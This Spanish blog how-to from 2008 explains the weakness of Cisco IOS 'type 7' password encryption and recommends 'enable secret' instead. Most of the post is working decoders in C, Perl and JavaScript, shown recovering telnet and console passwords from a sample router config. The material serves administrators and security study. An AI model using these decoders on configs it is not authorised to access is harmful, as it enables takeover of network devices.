Busindre » Blog Archive » Exploits para encriptacion "tipo 7" de CISCO escritos en C, Perl y Javascript

Exploits para encriptacion "tipo 7" de CISCO escritos en C, Perl y Javascript

February 22nd, 2008 by Busindre

La encriptación denominada "Type 7" que los sistemas operativos IOS de Cisco hacía de sus claves para usuario (Entrada al modo enable, telnet, console, etc..) hace muchísimo tiempo que se consiguió romper (1997) ya que es un algoritmo muy débil. Realmente su funcionalidad es la de impedir que alguien obtenga la clave a simple vista mirando el fichero de configuración de un router / switch Cisco o mediante un listado de la configuración ("# show running-config").

Vamos a mostrar una colección de exploit creados en C (Original), perl y javascript junto con sus formas de aplicarlo, un juego de niños realmente. Esta debilidad en el algoritmo "tipo 7" es asumida por Cisco y en principio no supone un grave problema (o si,..), porque muchas veces el IOS de cisco necesita tener ciertas claves en claro para su uso en distintos protocolos usados por el router, la seguridad recae en el acceso al modo privilegiado, que en principio es el único usuario que puede ver las claves (Encriptadas o no). Por eso lo que demos proteger es la clave del modo enable (Modo administrador), la cual no conviene encriptarla mediante este algoritmo "type 7", para ello tenemos el conocido algoritmo de una sola via MD5 que como sabemos es mucho mas seguro.

- Establecer clave al modo privilegiado "enable" en con encriptación "tipo 7" (NO recomendado)

(config)# enable password ******* (La deja en texto claro)
(config)# service password-encriptation (Aplica la encriptación tipo 7 a todas las password no cifradas)

(config)# enable password 7 ******* (Insertando directamente la clave bajo Type 7)

- Establecer clave enable en modo MD5 (Recomendado)

(config)# enable secret *******

Veamos en que difieren estas password y como descifrar las claves bajo tipo 7. En una supuesta configuración de un router cisco podemos encontrar lineas referentes a los password como estas:

enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1 ->Usando enable secret (MD5)
password 7 045802150c2e -> Usando cifrado debil "type 7" (Hackeable)

En el siguiente ejemplo tenemos una clave encriptada mediante md5 y dos débiles (telnet y console)

Ejemplo:


[busi@darkstar]$ cat start-up.config
!
version 12.2
no service single-slot-reload-enable
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname R1
!
logging rate-limit console 10 except errors
enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1
!
ip subnet-zero
!
!
no ip finger
!
no ip dhcp-client network-discovery
!
!
!
interface FastEthernet1/0
ip address 192.168.1.1 255.255.255.248
duplex auto
speed auto
!
ip classless
ip http server
!
!
line con 0
password 7 094F471A1A0A2811040217252721
transport input none
line aux 0
line vty 0 4
password 7 045802150c2e
login
!
end
end

Exploits para "Type 7" de Cisco

Exploit en JavaScript:

JavaScript:
  1. <script language="JavaScript1.2">
  2.  
  3. // Is the character a digit?
  4. function isDigit(theDigit)
  5. {
  6.     var digitArray = new Array('0','1','2','3','4','5','6','7','8','9')
  7.  
  8.     for (j = 0; j <digitArray.length; j++)  {
  9.         if (theDigit == digitArray[j])
  10.             return true
  11.     }
  12.     return false
  13. }
  14.  
  15.  
  16. // Generate a config file ready for loading
  17. function crackPassword(form)
  18. {
  19.     var crypttext=form.crypttext.value.toUpperCase()
  20.     var plaintext=''
  21.     var xlat="dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;fg87"
  22.     var seed, i, val=0
  23.  
  24.     if(crypttext.length & 1)
  25.         return
  26.  
  27.     seed = (crypttext.charCodeAt(0) - 0x30) * 10 + crypttext.charCodeAt(1) - 0x30
  28.  
  29.     if (seed> 15 || !isDigit(crypttext.charAt(0)) || !isDigit(crypttext.charAt(1)))
  30.         return
  31.  
  32.         for (i = 2 ; i <= crypttext.length; i++) {
  33.                 if(i !=2 && !(i & 1)) {
  34.                         plaintext+=String.fromCharCode(val ^ xlat.charCodeAt(seed++))
  35.             seed%=xlat.length
  36.                         val = 0;
  37.                 }
  38.  
  39.                 val *= 16
  40.  
  41.         if(isDigit(crypttext.charAt(i))) {
  42.             val += crypttext.charCodeAt(i) - 0x30
  43.             continue
  44.         }
  45.  
  46.  
  47.         if(crypttext.charCodeAt(i)>= 0x41 && crypttext.charCodeAt(i) <= 0x46) {
  48.             val += crypttext.charCodeAt(i) - 0x41 + 0x0a
  49.             continue
  50.         }
  51.  
  52.         if(crypttext.length != i)
  53.             return
  54.         }
  55.  
  56.     form.plaintext.value=plaintext
  57. }
  58.  
  59. </script>

Exploit en C:

C:
  1. /* This code is originally from a Bugtraq post by
  2.    Jared Mauch <jared@puck.nether.net> . I patched it with an improved
  3.    translation table by Janos Zsako <zsako@BANKNET.NET>
  4.    -Fyodor (fyodor@dhp.com) */
  5.  
  6.  
  7. #include <stdio.h>
  8. #include <ctype.h>
  9.  
  10. char xlat[] = {
  11.         0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
  12.         0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
  13.         0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42
  14. };
  15.  
  16. char pw_str1[] = " password 7 ";
  17. char pw_str2[] = "enable password 7 ";
  18. char pw_str3[] = "ip ftp password 7 ";
  19. char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";
  20.  
  21. char *pname;
  22.  
  23. cdecrypt(enc_pw, dec_pw)
  24. char *enc_pw;
  25. char *dec_pw;
  26. {
  27.         unsigned int seed, i, val = 0;
  28.  
  29.         if(strlen(enc_pw) & 1)
  30.                 return(-1);
  31.  
  32.         seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
  33.  
  34.         if (seed> 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
  35.                 return(-1);
  36.  
  37.         for (i = 2 ; i <= strlen(enc_pw); i++) {
  38.                 if(i !=2 && !(i & 1)) {
  39.                         dec_pw[i / 2 - 2] = val ^ xlat[seed++];
  40.                         val = 0;
  41.                 }
  42.  
  43.                 val *= 16;
  44.  
  45.                 if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
  46.                         val += enc_pw[i] - '0';
  47.                         continue;
  48.                 }
  49.  
  50.                 if(enc_pw[i]>= 'A' && enc_pw[i] <= 'F') {
  51.                         val += enc_pw[i] - 'A' + 10;
  52.                         continue;
  53.                 }
  54.  
  55.                 if(strlen(enc_pw) != i)
  56.                         return(-1);
  57.         }
  58.  
  59.         dec_pw[++i / 2] = 0;
  60.  
  61.         return(0);
  62. }
  63.  
  64. usage()
  65. {
  66.         fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
  67.         fprintf(stdout, "       %s <router config file> <output file>\n", pname);
  68.  
  69.         return(0);
  70. }
  71.  
  72. main(argc,argv)
  73. int argc;
  74. char **argv;
  75.  
  76. {
  77.         FILE *in = stdin, *out = stdout;
  78.         char line[257];
  79.         char passwd[65];
  80.         unsigned int i, pw_pos;
  81.  
  82.         pname = argv[0];
  83.  
  84.         if(argc> 1)
  85.         {
  86.                 if(argc> 3) {
  87.                         usage();
  88.                         exit(1);
  89.                 }
  90.  
  91.                 if(argv[1][0] == '-')
  92.                 {
  93.                         switch(argv[1][1]) {
  94.                                 case 'h':
  95.                                 usage();
  96.                                 break;
  97.  
  98.                                 case 'p':
  99.                 bzero(passwd, sizeof(passwd));
  100.                                 if(cdecrypt(argv[2], passwd)) {
  101.                                         fprintf(stderr, "Error.\n");
  102.                                         exit(1);
  103.                                 }
  104.                                 fprintf(stdout, "password: %s\n", passwd);
  105.                                 break;
  106.  
  107.                                 default:
  108.                                 fprintf(stderr, "%s: unknow option.", pname);
  109.                         }
  110.  
  111.                         return(0);
  112.                 }
  113.  
  114.                 if((in = fopen(argv[1], "rt")) == NULL)
  115.                         exit(1);
  116.                 if(argc> 2)
  117.                         if((out = fopen(argv[2], "wt")) == NULL)
  118.                                 exit(1);
  119.         }
  120.  
  121.         while(1) {
  122.                 for(i = 0; i <256; i++) {
  123.                         if((line[i] = fgetc(in)) == EOF) {
  124.                                 if(i)
  125.                                         break;
  126.  
  127.                                 fclose(in);
  128.                                 fclose(out);
  129.                                 return(0);
  130.                         }
  131.                         if(line[i] == '\r')
  132.                                 i--;
  133.  
  134.                         if(line[i] == '\n')
  135.                                 break;
  136.                 }
  137.                 pw_pos = 0;
  138.                 line[i] = 0;
  139.  
  140.                 if(!strncmp(line, pw_str1, strlen(pw_str1)))
  141.                         pw_pos = strlen(pw_str1);
  142.  
  143.                 if(!strncmp(line, pw_str2, strlen(pw_str2)))
  144.                         pw_pos = strlen(pw_str2);
  145.         if(!strncmp(line, pw_str3, strlen(pw_str3)))
  146.             pw_pos = strlen(pw_str3);
  147.         if(!strncmp(line, pw_str4, strlen(pw_str4)))
  148.             pw_pos = strlen(pw_str4);
  149.  
  150.                 if(!pw_pos) {
  151.                         fprintf(stdout, "%s\n", line);
  152.                         continue;
  153.                 }
  154.  
  155.         bzero(passwd, sizeof(passwd));
  156.                 if(cdecrypt(&line[pw_pos], passwd)) {
  157.                         fprintf(stderr, "Error.\n");
  158.                         exit(1);
  159.                 }
  160.                 else {
  161.                         if(pw_pos == strlen(pw_str1))
  162.                                 fprintf(out, "%s", pw_str1);
  163.                         else if (pw_pos == strlen(pw_str2))
  164.                                 fprintf(out, "%s", pw_str2);
  165.             else if (pw_pos == strlen(pw_str3))
  166.                 fprintf(out, "%s", pw_str3);
  167.             else if (pw_pos == strlen(pw_str4))
  168.                 fprintf(out, "%s", pw_str4);
  169.  
  170.                         fprintf(out, "%s\n", passwd);
  171.                 }
  172.         }
  173. }

Compilarlo (Mostrará warnings):

$ gcc fichero.c -o xploitcisco

Exploit en Perl:

PERL:
  1. #!/usr/bin/perl -w
  2. # $Id: cisco.passwords.html 3722 2006-07-28 03:53:26Z fyodor $
  3. #
  4. # Credits for orginal code and description hobbit@avian.org,
  5. # SPHiXe, .mudge et al. and for John Bashinski <jbash@CISCO.COM>
  6. # for Cisco IOS password encryption facts.
  7. #
  8. # Use for any malice or illegal purposes strictly prohibited!
  9. #
  10.  
  11. @xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
  12.           0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
  13.           0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );
  14.  
  15. while (<>) {
  16.         if (/(password|md5)\s+7\s+([\da-f]+)/io) {
  17.             if (!(length($2) & 1)) {
  18.                 $ep = $2; $dp = "";
  19.                 ($s, $e) = ($2 =~ /^(..)(.+)/o);
  20.                 for ($i = 0; $i <length($e); $i+=2) {
  21.                     $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
  22.                 }
  23.                 s/7\s+$ep/$dp/;
  24.             }
  25.         }
  26.         print;
  27. }
  28. # eof

Veamos unos ejemplos de uso de estos exploits con el fichero de configuración mostrado al principio del articulo. Como podemos observar en el fichero de configuracion y a modo de recordatorio vemos que la password del modo privilegiado esta encriptada en md5, mientras que las del servidor telnet y el modo "console" están encriptadas con el débil algoritmo "tipo 7" de Cisco que serán los únicos dos que podemos obtener con los exploits.

Uso del exploit de C

* Usando Fichero de configuración

$ ./ciscohack start-up.config password_conseguidos
!
version 12.2
no service single-slot-reload-enable
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname R1
!
logging rate-limit console 10 except errors
enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1
!
ip subnet-zero
!
!
no ip finger
!
no ip dhcp-client network-discovery
!
!
!
interface FastEthernet1/0
ip address 192.168.1.1 255.255.255.248
duplex auto
speed auto
!
ip classless
ip http server
!
!
line con 0
transport input none
line aux 0
line vty 0 4
login
!
end
end

NOTA: Al ejecutarse muestra el fichero de configuración pero sin los password obtenidos.

$ cat password_conseguidos
password 7 cisco_console
password 7 cisco

* Usando las claves

$ ./ciscohack -p 094F471A1A0A2811040217252721
password: cisco_console

$ ./ciscohack -p 045802150c2e
password: cisco

De los dos modos obtenemos las dos claves, "cisco_console" (telnet) y "cisco" (console).

Uso del exploit de Perl


$ perl ciscocrack.pl
password 7 094F471A1A0A2811040217252721
password cisco_console
password 7 045802150c2e
password cisco

NOTA: Debemos insertar las lineas con la sintaxis password 7 clave

Uso del exploit de JavaScript

Enlace a ejemplo: www.busindre.com/archivos/crack.html

Posted in How To |

Leave a Comment

Please note: Comment moderation is enabled and may delay your comment. There is no need to resubmit your comment.